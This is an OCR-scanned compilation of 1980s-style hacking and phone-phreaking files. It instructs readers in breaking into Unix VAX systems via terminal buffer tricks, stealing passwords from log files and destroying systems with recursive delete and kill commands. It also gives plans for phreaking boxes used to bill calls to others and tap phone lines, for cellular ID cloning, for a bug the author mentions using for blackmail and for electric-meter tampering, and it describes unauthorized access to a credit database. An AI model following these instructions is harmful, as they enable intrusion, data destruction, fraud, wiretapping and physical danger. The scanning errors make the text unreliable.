In this article, we discuss the unix system that runs on the various vax systems. If you are on another unix-type system, some commands 
may differ, but since it is licensed to bell, they can't make many changes. 

Hacking onto a unix system is very difficult, and in this case, we advise having an inside source, if possible. The reason it is difficult to hack a 

vax is this: Many vax, after you get a carrier from them, respond=> 

Login: 

They give you no chance to see what the login name format is. Most commonly used are single words, under 8 digits, usually the person's 
name. There is a way around this: Most vax have an acct. called 'suggest' for people to use to make a suggestion to the system root terminal. 
This is usually watched by the system operator, but at late he is probably at home sleeping or screwing someone's brains out. So we can 
write a program to send at the vax this type of a message: A screen freeze (Cntl-S), screen clear (system dependant), about 255 garbage 
characters, and then a command to create a login acct., after which you clear the screen again, then unfreeze the terminal. What this does: 
When the terminal is frozen, it keeps a buffer of what is sent. Well, the buffer is about 127 characters long, so you overflow it with trash, and 
then you send a command line to create an acct. (System dependant). After this you clear the buffer and screen again, then unfreeze the 
terminal. This is a bad way to do it, and it is much nicer if you just send a command to the terminal to shut the system down, or whatever you 
are after... There is always, "Always* an acct. called root, the most powerful acct. to be on, since it has all of the system files on it. If you 
hack your way onto this one, then everything is easy from here on... On the unix system, the abort key is the Cntl-D key. Watch how many 
times you hit this, since it is also a way to log off the system! A little about unix architecture: The root directory, called root, is where the 
system resides. After this come a few 'sub' root directories, usually to group things (stats here, priv stuff here, the user log here...). Under 
this comes the superuser (the operator of the system), and then finally the normal users. In the unix 'Shell' everything is treated the same. 

By this we mean: You can access a program the same way you access a user directory, and so on. The way the unix system was written, 
everything, users included, are just programs belonging to the root directory. Those of you who hacked onto the root, smile, since you can 



screw everything. ..the main level (exec level) prompt on the unix system is the $, and if you are on the root, you have a # (superuser prompt). 
Ok, a few basics for the system... To see where you are, and what paths are active in regards to your user account, then type 

=> pwd 

This shows your acct. separated by a slash with another pathname (acct.), possibly many times. To connect through to another path, or many 
paths, you would type: 

You=> path1/path2/path3 

And then you are connected all the way from path1 to path3. You can 
run the programs on all the paths you are connected to. If it does 
not allow you to connect to a path, then you have insufficient privs, or 
the path is closed and archived onto tape. You can run programs this way 

also: 

you=> path1/path2/path3/program-name 

Unix treats everything as a program, and thus there a few commands to learn... 
To see what you have access to in the end path, type: 

Is 

for list. This show the programs you can run. You can connect to the root directory and run it's programs with=> 
/root 

By the way, most unix systems have their log file on the root, so you can set up a watch on the file, waiting for people to log in and snatch 
their password as it passes thru the file. To connect to a directory, use the command: 

=> cd pathname 

This allows you to do what you want with that directory. You may be asked for a password, but this is a good way of finding other user 
names to hack onto. The wildcard character in unix, if you want to search down a path for a game or such, is the *. 

=>lsr 

Should show you what you can access. The file types are the same as they are on a dec, so refer to that section when examining file. To see 
what is in a file, use the 

=>pr 

filename command, for print file. We advise playing with pathnames to get the hang of the concept. There is on-line help available on most 
systems with a 'help' or a '?'. We advise you look thru the help files and pay attention to anything they give you on pathnames, or the 
commands for the system. You can, as a user, create or destroy directories on the tree beneath you. This means that root can kill everything 
but root, and you can kill any that are below you. These are the 

=> mkdir pathname 
=> rmdir pathname 

commands. Once again, you are not alone on the system... type=> 
who 

to see what other users are logged in to the system at the time. If you 
want to talk to them=> 

write username 

Will allow you to chat at the same time, without having to worry about the parser. To send mail to a user, say 
=> mail 

And enter the mail sub-system. To send a message to all the users on the system, say 



=> wall 



Which stands for 'write all'. By the way, on a few systems, all you have to do is hit the <return> key to end the message, but on others you 
must hit the cntl-D key. To send a single message to a user, say 

=> write username 

this is very handy again! If you send the sequence of characters discussed at the very beginning of this article, you can have the super-user 
terminal do tricks for you again. 

Privs; 

If you want superuser privs, you can either log in as root, or edit your acct. so it can say 
=> su 

this now gives you the # prompt, and allows you to completely by-pass the protection. The wonderful security conscious developers at bell 
made it very difficult to do much without privs, but once you have them, there is absolutely nothing stopping you from doing anything you want 
to. To bring down a unix system: 

=> chdir /bin 
=> rm * 

this wipes out the pathname bin, where all the system maintenance files are. Or try: 

=> r -r 

This recursively removes everything fromthe system except the remove command itself. Or try: 

=> kill -1,1 
=> sync 

This wipes out the system devices from operation. When you are finally sick and tired from hacking on the vax systems, just hit your cntl-d and 
repeat key, and you will eventually be logged out. 

The reason this file seems to be very sketchy is the fact that bell has 7 licensed versions of unix out in the public domain, and these commands 
are those common to all of them. I recommend you hack onto the root or bin directory, since they have the highest levels of privs, and there is 
really not much you can do (except develop software) without them. 



1 0S-Verification Circuits by Thie Joiiy Roger 

1 .One busy verification conference circuit is always provided. The circuit is a three-way conference bridge that enables an operator to verify 
the busy/idle condition of a subscriber line. Upon request of a party attempting to reach a specified directory number, the operator dials 
the called line number to determine if the line is in use, if the receiver is off the hook, or if the line is in lockout due to a fault condition. The 
operator then returns to the party trying to reach the directory number and states the condition of the line. Lines with data security can not 
be accessed for busy verification when the line is in use. (Refer also to data security.) 

2.Three ports are assigned to each busy verification conference circuit. One port is for operator access and two ports are used to spilt an 
existing connectbn. To verify the busy/idle condition of a line, the operator established a connection to the operator access port and dials 
the directory number of the line to be verified. If the line is in use, the existing connection is broken and immediately re-established through 
the other two ports of the busy verification circuit without interruption. Busy verification circuit is controlled by access code. A dedicated 
trunk can be used but is not necessary. 

S.The busy verification circuit also can be used for test verify from the wire chiefs test panel B. Additional busy verification conference 
circuits (002749) there it is right out of an ESS manual word for word! And I'm getting 25 linear feet of ESS manuals!!! Not counting the 
stack received so far! 



109.Wliite Box Pians by The Joilv Roger 

Introduction: 

The White Box is simply a portable touch-tone keypad. For more information on toucfvtone, see my Silver Box Plans. 
Materials: 

• 1 Touch- Tone Keypad 

• 1 Miniature 1 000 to 8 Ohm Transformer (Radio Shack # 273- 1 380) 



• 1 Standard 8 Ohm Speaker 

• 2 9V Batteries 

• 2 9V Battery Clips 

Procedure: 

1 .Connect tlie Red Wire from tine Transformer to eitfier terminal on tlie speal<er. 
2.Connect ttie Wfiite Wire from tine transformer to tine other terminal on the speaker. 
S.Connect the Red Wire from one Battery Clip to the Black Wire from the other Battery Clip. 

4. Connect the Red Wire from the second Battery Clip to the Green Wire from the Keypad. 

5. Connect the Blue Wire from the Keypad to the Orange/Black Wire from the Keypad. 

e.Connect the Black Wire from the first Battery Clip to the two above wires (Blue and Black/Orange). 
T.Connect the Black Wire from the Keypad to the Blue Wire from the Transformer. 
S.Connect the Red/Green Wire from the Keypad to the Green Wire from the Transformer. 
g.lVlake sure the Black Wire from the Transformer and the remaining wires from the Keypad are free. 
tO.Hook up the Batteries. 

Optional: 

1 .Put It all In a case. 
2.Add a Silver Box to It. 

Use.- 

Just use it like a normal keypad, except put the speaker next to the receiver of the phone you're using. 
IIO.The BLAST Box by The Jolly Roger 

Ever want to really make yourself be heard? Ever talk to someone on the phone who just doesn't shut up? Or just call the operator and pop her 
eardrum? Well, up until recently It has been Impossible for you to do these things. That Is, unless of course you've got a blast box. All a blast 
box Is, Is a really cheap amplifier, (around 5 watts or so) connected in place of the microphone on your telephone. It works best on model 500 
AT&T Phones, and If constructed small enough, can be placed Inside the phone. 

Construction: 

Construction is not really important. Well it is, but since I'm letting you make 
your own amp, I really don't have to include this. 

Usage: 

Once you've built your blast box, simply connect a microphone (or use the microphone from the phone) to the input of the amplifier, and presto. 
There it is. Now, believe it or not, this device actually works. (At least on crossbar.) It seems that Illinois bell switching systems allow quite a lot 
of current to pass right through the switching office, and out to whoever you're calling. When 

you talk in the phone, it comes out of the other phone (again it works best if the phone that you're calling has the standard western electric 
earpiece) incredibly loud. This device is especially good for PBS Subscription drives. Have "Phun", and don't get caught! 

111 .Dealing with the Rate & Route Operator by The Jolly Roger 

It seems that fewer and fewer people have blue boxes these days, and that is really too bad. Blue boxes, while not all that great for making 
free calls (since the TPC can tell when the call was made, as well as where It was too and from), are really a lot of fun to play with. Short of 
becoming a real live TSPS operator, they are about the only way you can really play with the network. 

For the few of you with blue boxes, here are some phrases which may make life easier when dealing with the rate & route (R&R) operators. 
To get the R&R op, you send a KP + 141 + ST. In some areas you may need to put another NPA before the 141 (i.e., KP + 213 + 141 + ST), if 
you have no local R&R ops. 

The R&R operator has a myriad of information, and all it takes to get this data is mumbling cryptic phrases. There are basically four special 
phrases to give the R&R ops. They are NUMBERS route, DIRECTORY route, OPERATOR route, and PLACE NAME. 

To get an R&R an area code for a city, one can call the R&R operator and ask for the numbers route. For example, to find the area code for 
Carson City, Nevada, we'd ask the R&R op for "Carson City, Nevada, numbers route, please." and get the answer, "Right... 702 plus." meaning 
that 702 plus 7 digits gets us there. 

Sometimes directory assistance isn't just NPA+131. The way to get these routings is to call R&R and ask for "Anaheim, California, directory 
route, please." Of course, she'd tell us It was 714 plus, which means 714+131 gets us the D.A. op there. This is sort of pointless example, but 
I couldn't come up with a better one on short notice. 



Let's say you wanted to find out how to get to the inward operator for Sacremento, California. The first six digits of a number in that city will 
be required (the NPA and an NXX). For example, let us use 916 756. We would call R&R, and when the operator answered, say, "916 756, 
operator route, please." The 

operator would say, "91 6 plus 001 plus." This means that 91 6 + 001 +121 will get you the inward operator for Sacramento. Do you know the 
city which corresponds to 503 640? The R&R operator does, and will tell you that it is Hillsboro, Oregon, if you sweetly ask for "Place name, 
503 640, please." 

For example, let's say you need the directory route for Sveg, Sweden. Simply call R&R, and ask for, "International, Baden, Switzerland. TSPS 
directory route, please." In response to this, you'd get, "Right... Directory to Sveg, Sweden. Country code 46 plus 1170." So you'd route 
yourself to an international sender, and send 46 + 11 70 to get the D.A. operator in Sweden. 

Inward operator routings to various countries are obtained the same way "International, London, England, TSPS inward route, please." and get 
"Country code 44 plus 121 ." Therefore, 44 plus 121 gets you inward for London. 

Inwards can get you language assistance if you don't speak the language. Tell the foreign inward, "United States calling. Language assistance 
in completing a call to (called party) at (called number)." 

R&R operators are people are people too, y'know. So always be polite, make sure use of 'em, and dial with care. 



112.Cellular Phreaking by The Jolly Roger 

The cellular/mobile phone system is one that Is perfectly set up to be exploited by phreaks with the proper knowledge and equipment. Thanks 
to deregulation, the regional BOC's (Bell Operating Companies) are scattered and do not communicate much with each other. Phreaks can take 
advantage of this by pretending to be mobile phone customers whose "home basd' is a city served by a different BOC, known as a "roamer". 
Since it is impractical for each BOC to keep track of the customers of all the other BOC's, they will usually allow the customer to make the calls 
he wishes, often with a surcharge of some sort. 

The bill is then forwarded to the reamer's home BOC for collection. However, it is fairly simple (with the correct tools) to create a bogus ID 
number for your mobile phone, and pretend to be a roamer from some other city and state, that's "just visiting". When your BOC tries to collect 
for the calls from your alleged "home BOC", they will discover you are not a real customer; but by then, you can create an entirely new 
electronic identity, and use that instead. 

How does the cellular system know who is calling, and where they are? When a mobile phone enters a cell's area of transmission, it transmits 
its phone number and its 8 digit ID number to that cell, who will keep track of it until it gets far enough away that the sound quality is sufficiently 
diminished, and then the phone is "handed off" to the cell that the customer has walked or driven into. This process continues as long as the 

phone has power and Is turned on. If the phone is turned off (or the car is), someone attempting to call the mobile phone will receive a 
recording along the lines of "The mobile phone customer you have dialed has left the vehicle or driven out of the service area." When a call is 
made to a mobile phone, the switching equipment will check to see if the mobile phone being called is "logged In", so to speak, or present in one 
of the cells. If it is, the call will then act (to the speaking parties) just like a normal call - the caller may hear a busy tone, the phone may just 
ring, or the call may be answered. 

How does the switching equipment know whether or not a particular phone is authorized to use the network? Many times, it doesn't. When a 

dealer installs a mobile phone, he gives the phone's ID number (an 8 digit hexadecimal number) to the local BOC, as well as the phone number 
the BOC assigned to the customer. Thereafter, whenever a phone is present in one of the cells, the two numbers are checked - they should 
be registered to the same person. If they don't match, the telco knows that an attempted fraud is taking place (or at best, some transmission 
error) and will not allow calls to be placed or received at that phone. However, it is impractical (especially given the present state of 
deregulation) for the telco to have records of every cellular customer of every BOC. Therefore, if you're going to create a fake ID/phone 
number combination, it will need to be "based" in an area that has a cellular system (obviously), has a different BOC than your local area does, 
and has some sort of a "roamer" 
agreement with your local BOC. 

How can one "phreak" a cellular phone? There are three general areas when phreaking cellular phones; using one you found in an unlocked 
car (or an unattended walk-about model), modifying your own chip set to look like a different phone, or recording the phone number/ID number 
combinations sent by other local cellular phones, and using those as your own. Most cellular phones Include a crude "password" system to 
keep unauthorized users from using the phone - however, dealers often set the password (usually a 3 to 5 digit code) to the last four digits of 
the customer's mobile phone number. If you can find that somewhere on the phone, you're in luck. If not, it shouldn't be TOO hard to hack, since 
most people aren't smart enough to use something besides "11 11", "1234", or whatever. If you want to modify the chip set in a cellular phone 
you bought (or stole), there are two chips (of course, this depends on the model and 

manufacturer, yours may be different) that will need to be changed - one installed at the manufacturer (often epoxied in) with the phone's ID 
number, and one installed by the dealer with the phone number, and possible the security code. To do this, you'll obviously need an EPROM 
burner as well as the same sort of chips used in the phone (or a friendly and unscrupulous dealer!). As to recording the numbers of other 
mobile phone customers and using them; as far as I know, this is just theory... but it seems quite possible, if you've got the equipment to record 
and decode it. The cellular system would probably freak out if two phones (with valid ID/phone number combinations) were both present in the 
network at once, but it remains to be seen what will happen. 



1 1 S.Cheesebox Plans 



by The Jolly Roger 



A Cheesebox (named for the type of box the first one was found in) is a type of box which will, in effect, make your telephone a Pay- 
Phone This is a simple, modernized, and easy way of doing it.... 

Inside Info: These were first used by bookies many years ago as a way of making calls to people without being called by the cops or having 
their numbers traced and/or tapped 

How To Make A Modem Cheese Box 

Ingredients: 

• 1 Call Forwarding service on the line 

• 1 Set of Red Box Tones 

• The number to your prefixes Intercept operator (do some scanning for this one) 
How To: 

After you find the number to the intercept operator in your prefix, use your call-forwarding and fonward all calls to her. ..this will make your 
phone stay off the hook{actually, now it waits for a quarter to be dropped in). ..you now have a cheese box... In Order To Call Out On This 
Line: You must use your Red Box tones and generate the quarter dropping in. ..then, you can make phone calls to people.. .as far as I know, this 
is fairly safe, and they do not check much. ..Although I am not sure, I think you can even make credit-card calls from a cheesebox phone and 
not get traced... 

114.H0W to Start your own conferences! by The Jolly Roger 

Black Bart showed how to start a conference call thru an 800 exchange, and I will now explain how to start a conference call in a more 
orthodox fashion, the 2600Hz. Tone. 

Firstly, the tone company has what is called switching systems. There are several types, but the one we will concern ourselves with, is ESS 
(electronic switching system). If your area is zoned for ESS, do not start a conference call via the 2600Hz. Tone, or bell security will nail your 
ass! To find out if you are under ESS, call your local business office, and ask them if you can get call waiting/forwarding, and if you can, that 
means that you are in ESS country, and conference calling is very, very dangerousll! Now, if you are not in ESS, you will need the following 
equipment: 

• An Apple CAT II modem 

• A copy of TSPS 2 or CAT'S K/bow 

• A touch tone fone line 

• A touch tone fone. (True tone) 

Now, with TSPS 2, do the following: 

1. Run tsps 2 

2. Chose option 1 
S.Chose option 6 

4. Chose sub-option 9 

5. Nowtype: 1-514-555-1212 (dashes are not needed) 

6. Listen with your handset, and as soon as you hear a loud click, then type: $ 

7. To generate the 2600 hz. Tone. This obnoxious tone will continue for a few 
S.Seconds, then listen again and you should hear another loud 'click'. 
g.Nowtype: km21 30801 050s 

• 'K' = kp tone 

• 'M' = multi frequency mode 

• 'S' = s tone 

1 0.Now listen to the handset again, and wait until you hear the 'click' again. Then type: km21 39752975s 

• 21 39751 975 is the number to bill the conference call to. 

Note: 213-975-1975 is a disconnected number, and I strongly advise that you only bill the call to this number, or the fone company will find out, 
and then., remember, conference calls are itemized, so if you do bill it to an enemy's number, he can easily find out who did it and he can bust 
you! 

You should now hear 3 beeps, and a short pre-recorded message. From here on, everything is all menu driven. 



Conference call commands 
From the '#■ mode: 

• 1 = call a number 

• 6 = transfer control 

• 7 = hangs up the conference call 

• 9 = will call a conference operator 



Stay away from 7 and 9! If for some reason an operator gets on-line, hang up! If you get a busy signal after km21 30801 050s, that means that 
the teleconference line is temporarily down. Try later, preferably from 9am to 5pm week days, since conference calls are primarily designed 
for business people. 



IIS.Gold Box Plans by The Jolly Roger 

HOW TO BUILD IT 

You will need the following: 

• Two 1 0K OHM and three 1 .4K OHM resistors 

• Two 2N3904 transistors 

• Two Photo Cells 

• Two Red LED'S (The more light produced the better) 

• A box that will not let light in 

• Red and Green Wire 



Light from the #1 LED must shine directly on the photocell #1 . The gold box I made needed the top of the LED's to touch the photo cell for it to 
work. 



The same applies to the #2 photo cell and LED. 
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The 1 .4K resistor is variable and if the second part of the gold box is skipped it will still work but when someone picks up the phone they will 
hear a faint dial tone in the background and might report it to the Gestapo er...(AT&T). 1.4K will give you good reception with little risk of a 
Gestapo agent at your door. 

Now that you have built it take two green wires of the same length and strip the ends, twist two ends together and connect them to greeni 
and place a piece of tape on it with "line #1 " writing on it. 



Continue the process with redl only use red wire. Repeat with red2 and green2 but change to line #2. 
HOW TO INSTALL 

You will need to find two phone lines that are close together. Label one of the phone lines "Line #1". Cut the phone lines and take the outer 
coating off it. There should be 4 wires. Cut the yellow and black wires off and strip the red and green wires for both lines. 

Line #1 should be in two pieces. Take the green wire of one end and connect it to one of the green wires on the gold box. Take the other half 
of line #1 and hook the free green wire to the green wire on the phone line. Repeat the process with redl and the other line. All you need to do 
now is to write down the phone numbers of the place you hooked it up at and go home and call it. You should get a dial tone!!! If not, try 
changing the emitter with the collector. 

1 1 e.The History of ESS by The Jolly Roger 

Of all the new 1960s wonders of telephone technology - satellites, ultra modern Traffic Service Positions (TSPS) for operators, the 
picturephone, and so on - the one that gave Bell Labs the most trouble, and unexpectedly became the greatest development effort in Bell 
System's history, was the perfection of an electronic switching system, or ESS. 

It may be recalled that such a system was the specific end in view when the project that had culminated in the invention of the transistor had 
been launched back in the 1930s. After successful accomplishment of that planned miracle in 1947-48, further delays were brought about by 
financial stringency and the need for further development of the transistor itself. In the early 1950s, a Labs team began serious work on 
electronic switching. As early as 1955, Western Electric became involved when five engineers from the Hawthorne works were assigned to 
collaborate with the Labs on the project. The president of AT&T in 1 956, wrote confidently, "At Bell Labs, development of the new electronic 
switching system is going full speed ahead. We are sure this will lead to many improvements in service and also to greater efficiency. The first 
service trial will start in Morris, III., in 1959." Shortly thereafter, Kappel said that the cost of the whole project would probably be $45 million. 

But it gradually became apparent that the development of a commercially usable electronic switching system - in effect, a computerized 
telephone exchange - presented vastly greater technical problems than had been anticipated, and that, accordingly, Bell Labs had vastly 
underestimated both the time and the investment needed to do the job. The year 1959 passed without the promised first trial at Morris, Illinois; it 
was finally made in November 1960, and quickly showed how much more work remained to be done. As time dragged on and costs mounted, 
there was a concern at AT&T and something approaching panic at Bell Labs. But the project had to go fonward; by this time the investment 
was too great to be sacrificed, and in any case, forward projections of increased demand for telephone service indicated that within a few 
years a time would come when, without the quantum leap in speed and flexibility that electronic switching would provide, the national network 
would be unable to meet the demand. In November 1963, an all-electronic switching system went into use at the Brown Engineering Company 
at Cocoa Beach, Florida. But this was a small installation, essentially another test installation, serving only a single company. Kappel's tone on 
the subject in the 1 964 annual report was, for him, an almost apologetic: "Electronic switching equipment must be manufactured in volume to 
unprecedented standards of reliability.... To turn out the equipment economically and with good speed, mass production methods must be 
developed; but, at the same time, there can be no loss of precision..." Another year and millions of dollars later, on May 30, 1 965, the first 
commercial electric central office was put into service at Succasunna, New Jersey. 

Even at Succasunna, only 200 of the town's 4,300 subscribers initially had the benefit of electronic switching's added speed and additional 
services, such as provision for three party conversations and automatic transfer of incoming calls. But after that, ESS was on its way. In 
January 1966, the second commercial installation, this one serving 2,900 telephones, went into service in Chase, Maryland. By the end of 1967 
there were additional ESS offices in California, Connecticut, Minnesota, Georgia, NY, Florida, and Pennsylvania; by the end of 1970 there were 
1 20 offices serving 1 .8 million customers; and by 1 974 there were 475 offices serving 5.6 million customers. 

The difference between conventional switching and electronic switching is the difference between "hardware" and "software"; in the former 
case, maintenance is done on the spot, with screwdriver and pliers, while in the case of electronic switching, it can be done remotely, by 
computer, from a central point, making it possible to have only one or two technicians on duty at a time at each switching center. The 
development program, when the final figures were added up, was found to have required a staggering four thousand man-years of work at 
Bell Labs and to have cost not $45 million but $500 million! 

117.The Lunch Box by The Jolly Roger 

Introduction 

The Lunch Box is a VERY simple transmitter which can be handy for all sorts of things. It is quite small and can easily be put in a number of 
places. I have successfully used it for tapping tones, getting inside info, blackmail and other such things. The possibilities are endless. I will 
also include the plans or an equally small receiver for your newly made toy. Use it for just about anything. You can also make the transmitter 
and receiver together in one box and use it as a walkie talkie. 

Materials you will need 

• (1) 9 volt battery with battery clip 

• (1)25- mfd, 1 5 volt electrolytic capacitor 

• (2) .0047 mfd capacitors 



• (1 ) .022 mfd capacitor 

• (1 ) 51 pf capacitor 

• (1) 365 pf variable capacitor 

• (1 ) Transistor antenna coil 

• {1)2N366 transistor 

• (1)2N464 transistor 

• (1) 100k resistor 

• (1)5.6I< resistor 

• (1) 10k resistor 

• (1 ) 2meg potentiometer witin SPST switch 

• Some good wire, solder, soldering iron, board to put it on, box (optional) 
Schematic for The Lunch Box 

This may get a tad confusing but just print it out and pay attention. 
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Notes about the schematic 
1 .GND means ground 

2. The GND near the switch and the GND by the 2meg potentiometer should be connected. 

3. Where you see: )( 

0 

)( it is the transistor antenna coil with 15 turns of regular hook-up wire around it. 

4. The middle of the loop on the left side (the left of "()") you should run a wire down to the "+" which has nothing attached to it. There is a 

.0047 capacitor on the correct piece of wire. 

5. For the microphone use a magnetic earphone (1 k to 2k). 

6. Where you see "[I]" is the antenna. Use about 8 feet of wire to broadcast approx. 300ft. Part 15 of the FCC rules and regulation says you 

can't broadcast over 300 feet without a license. (Hahaha). Use more wire for an antenna for longer distances. (Attach it to the black wire 
on the fone line for about a 250 foot antennal) 

Operation of the Lunch Box 

This transmitter will send the signals over the AM radio band. You use the variable capacitor to adjust what freq. you want to use. Find a good 
unused freq. down at the lower end of the scale and you're set. Use the 2 meg pot. to adjust gain. Just fuck with it until you get what sounds 
good. The switch on the 2meg is for turning the Lunch Box on and off. When everything is adjusted, turn on an AM radio adjust it to where you 
think the signal is. Have a friend lay some shit thru the Box and tune in to it. That's all there is to it. The plans for a simple receiver are shown 
below: 



The Lunch Box receiver 

• (1)9 volt battery with battery clip 

• (1) 365 pf variable capacitor 

• (1) 51 pf capacitor 

• (1)1 N38B diode 

• (1 ) Transistor antenna coil 

• (1)2N366 transistor 

• {1)SPST toggle switch 

• (1 ) 1 1< to 2I< magnetic earphone 

Schematic for receiver 
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Closing statement 

This two devices can be built for under a total of $10.00. Not too bad. Using these devices in illegal ways is your option. If you get caught, I 
accept NO responsibility for your actions. This can be a lot of fun if used correctly. Hook it up to the red wire on the phone line and it will send 
the conversation over the air waves. 



11 S.Olive Box Plans by The Jolly Roger 

This is a relatively new box, and all it basically does is serve as a phone ringer. You have two choices for ringers, a piezoelectric 
transducer (ringer), or a standard 8 ohm speaker. The speaker has a more pleasant tone to it, but either will do fine. This circuit can also be 
used in conjunction with a rust box to control an external something or other when the phone rings. Just connect the 8 ohm speaker output to 
the inputs on the rust box, and control the pot to tune it to light the light (which can be replaced by a relay for external controlling) when the 
phone rings. 
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0. Electromagnetic transducer 
Parts List 

• U1 - Texas Instruments TGM1 506 

• T1 - 4000:8 ohm audio transformer 

• S1 - 8 ohm speaker 

• R1 - 2.2k resistor 

• R2 - External variable resistor; adjusts timing frequency 

• 01 - .47uF capacitor 

• 02- .luF capacitor 

• 03- 10uF capacitor 

• L1 - Tip 

• L2 - Ring 

• L1 and L2 are the phone line. 
Shift Rate: 

This is the formula for determining the shift rate: 

1 1 

SR = = = 6-. Hz 

(DSR(1/f1)+DSR(1/f2)) 128 128 

1714 1500 



• DSR = Shift Devider Rate ratio = 1 28 

• f1 = High Output Frequency =1714 

• f2 = Low Output Frequency = 1 500 

119.TheTron Box by The GREAT Captain Crunchii 

R..— F-— 
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(C) (0) (0) 

III I- 
III I 



• (C)=capacitor 

• F =fuse 

• R =resistor 

• I,- are wire 



Parts List: 

• (3) electrolytic capacitors rated at 50V(lowest) .47UF 

• ( 1 ) 20-30 OHM « Watt resistor 

• (1) 120Volt fuse (amp rating best to use at least half of total house current or even less it keeps you from blowing your breal<er just in 
case...) 

• (1) power cord (cut up an extension cord. Need plug part and wire) 

• (1) electrically insulated box for the rest of us. If your don't feel comfortable about electricity then don't play with this. There is voltage 
present that will ***kill you***. 

The thing works when the load in your house is low like at night time. It will put a reverse phase signal on the line and cancel out the other 
phase and put a reverse phase running everything in the house. Well if you have ever switched the power leads on a CXC (battery powered) 
motor you will see that it runs backwards well your electric meter sort of works this way.. .so reverse phase makes the meter slow down and 
if your lucky it will go backwards. Anyway it means a cheaper electric bill. 

120.More TRW Info by The Jolly Roger 

TRW is a large database in which company's and banks can run credit checks on their customers. Example: John Jones orders $500 worth of 
stereo equipment from the Joe Blow Electronic distributing Co. Well it could be that he gave the company a phony credit card number, or 
doesn't have enough credit, etc. Well they call up TRW and then run a check on him, TRW then lists his card numbers (everything from sears to 
visa) and tells the numbers, credit, when he lost it last (if he ever did) and then of course tells if he has had any prior problems paying his bills. 

I would also like to add that although TRW contains information on millions of people, not every part of the country is served, although the major 
area are.. So if you hate someone and live in a small state, you probably wont be able to order him 300 pink toilet seats from K-mart. 

Logging on 

To log on, you dial-up your local access number (or long-dlsbnce, what ever turns you on) and wait for it to say "TRW" at this prompt, you 
type either an "A" or a "Ctrl-G" and it will say "circuit building in progress" it will wait for a minute and then clear the screen, now you will type 
one of the following. 

Tca1 
Tca2 
Tnji 
Tga1 

This is to tell it what geographical area the customer is in, it really doesn't matter which you use, because TRW will automatically switch when 
it finds the record- 
Next, you will type in the pswd and info on the person you are trying to get credit info on. You type it in a format like this: 

Rts Pswd Lname Fname ....House number First letter of street name Zip <cr> now you type Ctrl s and 2 ctrfQ's here is what it looks like in real 

life: 



Ae: Dialing xxx-xxx-xxxx 

(screen clear) 
TRWHS 

circuit building in progress 
(pause . . . screen clear) 
Tca1 

Rtc3966785-cm5 Johnson David ...,4567 
R 56785 

Ag Aq Aq 

and then it will wait for a few seconds and print out the file on him (if it can locate one for the guy) 
Note: You may have to push return when you first connect to get the systems attention. 
Getting Your Passwords 



To obtain pswds, you go down to your favorite bank or sears store and dig through the trash (hence the name trashing) looking for printouts, if 
they are a big enough place, and live in a TRW area, then they will probably have some. The printouts will have the 7 digit subscriber code, 
leaving the 3-4 digit pswd up to you. Much like trashing down at good old ma bell. 



121.Phreaker's Phunhouse bv the Jollv Roger 

The long awaited prequil to Phreaker's Guide has finally arrived. Conceived from the boredom and loneliness that could only be derived from: 
The Traveler! But now, he has returned in full strength (after a small vacation) and is here to 'World Premiere' the new files everywhere. Stay 
cool. This Is the prequil to the first one, so just relax. This is not made to be an exclusive ultra elite file, so kinda calm down and watch in the 
background if you are too cool for it. 

Phreak Dictionary 

Here you will find some of the basic but necessary terms that should be known by any phreak who wants to be respected at all. 
Phreak: 

1 .The action of using mischievous and mostly illegal ways in order to not pay for some sort of telecommunications bill, order, 
transfer, or other service. It often involves usage of highly illegal boxes and machines in order to defeat the security that is set 
up to avoid this sort of happening, [fr'eaking]. v. 

2. A person who uses the above methods of destruction and chaos In order to make a better life for all. A true phreaker will not go 

against his fellows or narc on people who have ragged on him or do anything termed to be dishonorable to phreaks. [fr'eek]. n. 

3. A certain code or dialup useful in the action of being a phreak. (Example: "I hacked a new metro phreak last night.") 

Switching System: 

1 .There are 3 main switching systems currently employed in the US, and a few other systems will be mentioned as background. 

• SxS: This system was invented in 1918 and was employed in over half of the country until 1978. It is a very basic 
system that is a general waste of energy and hard work on the linesman. A good way to identify this is that it requires 
a coin in the phone booth before it will give you a dial tone, or that no call waiting, call fonwarding, or any other such 
service is available. Stands for: Step by Step 

• XB: This switching system was first employed in 1978 in order to take care of most of the faults of SxS switching. 
Not only is it more efficient, but it also can support different services in various forms. XB1 is Crossbar Version 1 . 
That is very limited and is hard to distinguish from SxS except by direct view of the wiring involved. Next up was XB4, 
Crossbar Version 4. With this system, some of the basic things like DTMF that were not available with SxS can be 
accomplished. For the final stroke of XB, XB5 was created. This is a sen/ice that can allow DTMF plus most 800 type 
services (which were not always available.) Stands for: Crossbar. 

• ESS: A nightmare in telecom. In vivid color, ESS is a pretty bad thing to have to stand up to. It is quite simple to identify. 
Dialing 91 1 for emergencies, and ANI [see ANI below] are the most common facets of the dread system. ESS has the 
capability to list in a person's caller log what number was called, how long the call took, and even the status of the 
conversation (modem or othenwise.) Since ESS has been employed, which has been very recently, it has gone 
through many kinds of revisions. The latest system to date is BS 11a, that is employed in Washington D.C. for 
security reasons. ESS is truly trouble for any phreak, because it is 'smarter' than the other systems. For instance, if 
on your caller log they saw 50 calls to 1-800-421-9438, they would be able to do a CN/A [see Loopholes below] on 
your number and determine whether you are subscribed to that service or not. This makes most calls a hazard, 
because although 800 numbers appear to be free, they are recorded on your caller log and then right before you 
receive your bill it deletes the billings for them. But before that the are open to inspection, which is one reason why 
extended use of any code is dangerous under ESS. Some of the boxes [see Boxing below] are unable to function in 
ESS. It Is generally a menace to the true phreak. Stands For: Electronic Switching System. Because they could appear 
on a filter somewhere or maybe it is just nice to know them anyways. 

• SSS: Strowger Switching System. First non-operator system available. 

• WES: Western Electronics Switching. Used about 40 years ago with some minor places out west. 

Boxing: 

1 .The use of personally designed boxes that emit or cancel electronical impulses that allow simpler acting while phreaking. Through 

the use of separate boxes, you can accomplish most feats possible with or without the control of an operator. 
2.Some boxes and their functions are listed below. Ones marked with '*' Indicate that they are not operatable in ESS. 

• *Black Box:Makes it seem to the phone company that the phone was never picked up. 

• Blue Box: Emits a 2600hz tone that allows you to do such things as stack a trunk line, kick the operator off line, and 
others. 

• Red Box: Simulates the noise of a quarter, nickel, or dime being dropped into a payphone. 

• Cheese Box: Turns your home phone into a pay phone to throw off traces (a red box is usually needed in order to call 

out.) 

• *Clear Box: Gives you a dial tone on some of the old SxS payphones without putting in a coin. 

• Beige Box: A simpler produced linesman's handset that allows you to tap into phone lines and extract by 
eavesdropping, or crossing wires, etc. 



Purple Box: Makes all calls made out from your house seem to be local calls. 



AN! [AN!]: 

1 .Automatic Number Identification. A service available on ESS that allows a phone service [see Dialups below] to record the number 
